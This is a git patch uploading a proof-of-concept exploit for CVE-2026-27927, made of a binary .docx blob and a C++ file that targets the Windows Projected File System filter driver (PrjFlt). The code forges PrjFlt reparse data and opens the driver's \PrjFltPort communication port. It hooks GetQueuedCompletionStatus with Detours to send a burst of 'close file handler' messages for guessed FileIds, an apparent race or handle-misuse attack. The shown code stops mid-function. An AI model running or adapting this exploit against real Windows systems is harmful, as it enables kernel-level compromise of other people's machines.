From e0d68f2053de041712c4e20344cae8932318fa40 Mon Sep 17 00:00:00 2001 From: seasecresponse Date: Sat, 18 Jul 2026 18:50:18 +0000 Subject: [PATCH] Upload files to "CVE-2026-27927" --- CVE-2026-27927/PrjFlt8.docx | Bin 0 -> 10680 bytes CVE-2026-27927/PrjFltTest8.cpp | 718 +++++++++++++++++++++++++++++++++ 2 files changed, 718 insertions(+) create mode 100644 CVE-2026-27927/PrjFlt8.docx create mode 100644 CVE-2026-27927/PrjFltTest8.cpp diff --git a/CVE-2026-27927/PrjFlt8.docx b/CVE-2026-27927/PrjFlt8.docx new file mode 100644 index 0000000000000000000000000000000000000000..d21b98ae9113c05a5801c8d415e57c23b15b0456 GIT binary patch literal 10680 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 +#include +#include +#include +#pragma comment(lib, "projectedfslib.lib") +#pragma comment(lib, "FltLib.lib") + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + +#include "detours.h" +#pragma comment(lib, "detours.lib") + +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; +HANDLE ghPort = 0; + +struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT +{ + GUID virtualizationInstanceID; + unsigned int Version; + USHORT VolumeLength; + WCHAR szVolume[256]; +}; + + +void PrintInstanceId() { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + OLECHAR* guidString; + StringFromCLSID(InstanceInfo.InstanceID, &guidString); + wprintf(L"InstanceId: %s\n", guidString); + + + LPCOLESTR lpsz = guidString; + GUID InstanceId; + hr = CLSIDFromString(lpsz, &InstanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + CoTaskMemFree(guidString); +} + +void CreateVirtualizationRoot() { + + const wchar_t* PrjRootName = LR"(c:\PrjTest)"; + CreateDirectoryW(PrjRootName, nullptr); + + + HRESULT hr; + const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + + DeleteFileW(rootName); + RemoveDirectoryW(rootName); + + if (!CreateDirectoryW(rootName, nullptr)) + { + DWORD gle = GetLastError(); + if (gle != ERROR_ALREADY_EXISTS) { + hr = HRESULT_FROM_WIN32(gle); + wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); + } + + return; + } + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + hr = PrjMarkDirectoryAsPlaceholder(rootName, + nullptr, + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + return; + } + +} + +HRESULT PrjStartEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyStartEnumCallback\n"); + return S_OK; +} + +HRESULT PrjEndEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + //printf("MyEndEnumCallback\n"); + return S_OK; +} + +HRESULT PrjGetEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId, + PCWSTR searchExpression, + PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle +) +{ + //GetEnumHandler(callbackData->CommandId); + return S_OK; +} + +HRESULT PrjGetPlaceholderInfoCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + return S_OK; +} + +HRESULT PrjGetFileDataCallback( + const PRJ_CALLBACK_DATA* callbackData, + UINT64 byteOffset, + UINT32 length +) +{ + return S_OK; +} + +HRESULT PrjQueryFileNameCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + return S_OK; +} + +HRESULT PrjNotificationCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData, + _In_ BOOLEAN isDirectory, + _In_ PRJ_NOTIFICATION notification, + _In_opt_ PCWSTR destinationFileName, + _Inout_ PRJ_NOTIFICATION_PARAMETERS* operationParameters +) +{ + return S_OK; +} + + +VOID PrjCancelCommandCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData +) { + return; +} + + +void StartVirtualizatioInstance() { + PRJ_CALLBACKS callbackTable; + + // Supply required callbacks. + callbackTable.StartDirectoryEnumerationCallback = PrjStartEnumCallback; + callbackTable.EndDirectoryEnumerationCallback = PrjEndEnumCallback; + callbackTable.GetDirectoryEnumerationCallback = PrjGetEnumCallback; + callbackTable.GetPlaceholderInfoCallback = PrjGetPlaceholderInfoCallback; + callbackTable.GetFileDataCallback = PrjGetFileDataCallback; + + // The rest of the callbacks are optional. + callbackTable.QueryFileNameCallback = PrjQueryFileNameCallback; + callbackTable.NotificationCallback = PrjNotificationCallback; + callbackTable.CancelCommandCallback = PrjCancelCommandCallback; + + HRESULT hr; + const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + + PRJ_NOTIFICATION_MAPPING NotificationMappings; + NotificationMappings.NotificationBitMask = PRJ_NOTIFY_FILE_PRE_CONVERT_TO_FULL; + NotificationMappings.NotificationRoot = L""; + + PRJ_STARTVIRTUALIZING_OPTIONS options; + memset(&options, 0, sizeof(options)); + options.NotificationMappingsCount = 1; + options.NotificationMappings = &NotificationMappings; + + PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; + hr = PrjStartVirtualizing(rootName, + &callbackTable, + nullptr, + &options, + &instanceHandle); + if (FAILED(hr)) + { + wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); + return; + } + + gInstanceHandle = instanceHandle; +} + +struct _PRJ_REPARSE_DATA +{ + int Version; + int dwFlags; + GUID virtualizationInstanceID; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + unsigned __int16 PlaceHolderRelPathLength; + WCHAR szPlaceHolderRelPathBuffer[1]; + +}; + +struct _PRJ_REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + _PRJ_REPARSE_DATA ReparseData; +}; + +HRESULT CreateFileWithReparsePoint( + PHANDLE pFileHandle, + LPCWSTR lpcwFileName, + _PRJ_REPARSE_DATA* ReparseData, + USHORT ReparseDataLength, + int Tag, + bool bDir) { + + const WCHAR* ErrorMessage; // rdi + USHORT BufferLength; // bx + ULONG hr; // ebx MAPDST + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST + int LastError; // eax + ULONG Size; // eax + size_t Length; // rax + + *pFileHandle = NULL; + + ErrorMessage = 0i64; + BufferLength = ReparseDataLength + 8; + if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u + || ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_12; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8)); + if (!ReparseDataBuffer) + { + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_12: + Size = 2; + + return hr; + } + ReparseDataBuffer->ReparseTag = Tag; + ReparseDataBuffer->ReparseDataLength = ReparseDataLength; + memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength); + + //HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + UNICODE_STRING usFileName = { 0 }; + + RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + ObjectAttributes.Length = 0x30; + ObjectAttributes.ObjectName = &usFileName; + + ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; + ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT; + + if (bDir) { + CreateOptions = CreateOptions | FILE_DIRECTORY_FILE; + } + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE FileHandle = NULL; + + int Status = NtCreateFile( + &FileHandle, + FILE_WRITE_ATTRIBUTES | SYNCHRONIZE | FILE_WRITE_DATA, + &ObjectAttributes, + &IoStatusBlock, + 0i64, + FileAttributes, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN_IF, + CreateOptions, + NULL, + 0); + + { + ULONG64 FileEndOfFileInfo = 2i64; + Status = NtSetInformationFile(FileHandle, &IoStatusBlock, &FileEndOfFileInfo, 8u, FileEndOfFileInformation); + printf("NtSetInformationFile 0x%x\n", Status); + } + + if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT + { + hr = 0; + } + else + { + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT"; + } + free(ReparseDataBuffer); + if (hr) + goto LABEL_12; + + + *pFileHandle = FileHandle; + + return hr; + +} + + +_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) { + USHORT RelPathLength = MAX_PATH; + USHORT Length = RelPathLength + 0x11A; + _PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length); + + ReparseData->Version = 2; + ReparseData->PlaceHolderRelPathLength = RelPathLength; + ReparseData->dwFlags = dwFlags; + + if (RelPathLength) { + memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength); + } + + *pLength = Length; + return ReparseData; +} + +void PortInit() { + + static HANDLE hPort = NULL; + static GUID InstanceId; + + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + InstanceId = InstanceInfo.InstanceID; + + + //PrjStopVirtualizing(gInstanceHandle); + + _PRJ_CONNECTION_CONTEXT Context; + Context.VolumeLength = 0x100; + Context.Version = 1; + Context.virtualizationInstanceID = InstanceId; + wcscpy_s(Context.szVolume, L"c:\\"); + ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); + + HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); + //HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort); + + printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); + + ghPort = hPort; + +} + +struct _PRJ_MSG_IN_HEADER +{ + int MessageType; + int InputBufferSize; +}; + + +struct _PRJ_VIR_INSTANCE_INFO +{ + GUID virtualizationInstanceID; + int Tag; +}; + +struct _PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA +{ + _PRJ_VIR_INSTANCE_INFO VirInstanceInfo; + char _1c[60]; + UUID FileId; + +}; + +struct _PRJ_MSG_CLOSE_FILE_HANDLER +{ + _PRJ_MSG_IN_HEADER Header; + _PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA Data; +}; + +struct _PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA +{ + int MessageType; + int Size; + int Status; +}; + +GUID GetInstanceId() { + GUID InstanceId = { 0 }; + + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + + return InstanceId; + } + InstanceId = InstanceInfo.InstanceID; + + return InstanceId; +} + +void PrjCloseFileHandler(HANDLE hPort, UUID FileId) +{ + + DWORD InputBufferLength = 0x1000; + PVOID InputBuffer = malloc(InputBufferLength); + + DWORD OutputBufferLength = 0x1000; + PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + DWORD BytesReturned = 0; + + _PRJ_MSG_CLOSE_FILE_HANDLER Message = { 0 }; + + memset(&Message, 0, sizeof(Message)); + + Message.Header.MessageType = 0xa; + Message.Header.InputBufferSize = sizeof(Message); + + + Message.Data.VirInstanceInfo.Tag = 0x9000001C; + Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId(); + Message.Data.FileId = FileId; + + memcpy(InputBuffer, &Message, sizeof(Message)); + InputBufferLength = Message.Header.InputBufferSize; + + HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); + printf("FilterSendMessage hResult:%x\n", hResult); + + _PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA*)OutputBuffer; + + + return; +} + +struct __declspec(align(4)) _PRJ_COMMAND_BUFFER +{ + ULONG BufferLength; + int CmdType; + GUID VirtualizationInstanceID; + char Id[4]; + char StreamUuid[16]; + char StreamHandleUuid[16]; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + int Padding; + char Data[544]; + int RelPathOffset; + int RelPathLength; + int FilePathOffset; + int FilePathLength; + ULONG Pid; + int ProcessNameOffset; + int ProcessNameLength; + int Padding2; + WCHAR RelPathBuffer[1]; + WCHAR FilePathBuffer[1]; + WCHAR ProcessNameBuffer[1]; +}; + + +typedef BOOL(WINAPI* _GetQueuedCompletionStatus)( + HANDLE CompletionPort, + LPDWORD lpNumberOfBytesTransferred, + PULONG_PTR lpCompletionKey, + LPOVERLAPPED* lpOverlapped, + DWORD dwMilliseconds + ); + +_GetQueuedCompletionStatus TrueGetQueuedCompletionStatus = NULL; + + +BOOL MyGetQueuedCompletionStatus( + HANDLE CompletionPort, + LPDWORD lpNumberOfBytesTransferred, + PULONG_PTR lpCompletionKey, + LPOVERLAPPED* lpOverlapped, + DWORD dwMilliseconds +) { + BOOL bResult = TrueGetQueuedCompletionStatus(CompletionPort, lpNumberOfBytesTransferred, lpCompletionKey, lpOverlapped, dwMilliseconds); + + if (bResult) { + _PRJ_COMMAND_BUFFER* CommandBuffer = (_PRJ_COMMAND_BUFFER*)((char*)(*lpOverlapped) + sizeof(OVERLAPPED) + sizeof(_FILTER_MESSAGE_HEADER)); + + if (CommandBuffer->CmdType == 6) { + + + OLECHAR* guidString; + StringFromCLSID((REFCLSID )(CommandBuffer->StreamHandleUuid), &guidString); + wprintf(L"FileId: %s\n", guidString); + + for (int i = 0; i < 0x100; ++i) { + UUID FileId = *(UUID*)(&(CommandBuffer->StreamHandleUuid)); + FileId.Data1 = FileId.Data1 + i; + PrjCloseFileHandler(ghPort, FileId); + + FileId = *(UUID*)(&(CommandBuffer->StreamHandleUuid)); + FileId.Data1 = FileId.Data1 - i; + PrjCloseFileHandler(ghPort, FileId); + } + } + } + + return bResult; + +} + +void LoadHook() { + + TrueGetQueuedCompletionStatus = (_GetQueuedCompletionStatus)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "GetQueuedCompletionStatus"); + + LONG error; + DetourRestoreAfterWith(); + DetourTransactionBegin(); + DetourUpdateThread(GetCurrentThread()); + //DetourAttach(&(PVOID&)TrueFilterGetMessage, MyFilterGetMessage); + 